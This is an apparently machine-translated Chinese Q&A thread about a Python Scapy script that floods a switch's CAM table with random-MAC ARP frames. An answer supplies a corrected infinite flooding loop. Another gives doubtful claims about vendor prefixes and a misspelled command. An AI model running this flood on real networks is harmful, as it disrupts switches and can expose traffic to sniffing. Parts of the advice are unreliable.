我正在尝试在python中制作一个小型的mac flood工具来填充我的开关凸轮表,但我不能让魔法发生?你能看出我做错了什么吗?
from scapy.all import *
while 1:
dest_mac = RandMAC()
src_mac = RandMAC()
sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0)
虽然代码似乎运行良好,但它没有完成它的工作。为了测试它,我使用wireshark查看数据包,然后运行THC的寄生虫“工作”,数据包几乎相同,所以我不知道发生了什么。谢谢你的帮助。
答案 0 :(得分:1)
你只能使用一些mac地址:mac地址由六组两个十六进制数字组成,用连字符( - )或冒号(:)分隔。前三个字段必须填充一些值,每个供应商都有不同的值。如果未使用任何供应商代码设置此字段,则服务器(或客户端)将丢弃该数据包。你可以在wireshark manuf文件中找到mac供应商列表,或者只是用google查找它。您可以在终端输入“sudo ifcofig IFACE ether hw ADDRESS”来查看地址。
答案 1 :(得分:0)
Emada,
交换机只使用源地址学习Mac地址,因此无需担心目标随机化。
我已经对此进行了测试,它似乎运行良好..您可能还想尝试使用sendpfast选项进行泛洪,但是在我的测试中,sendp似乎运行得更快?
from scapy.all import *
while 1:
sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)))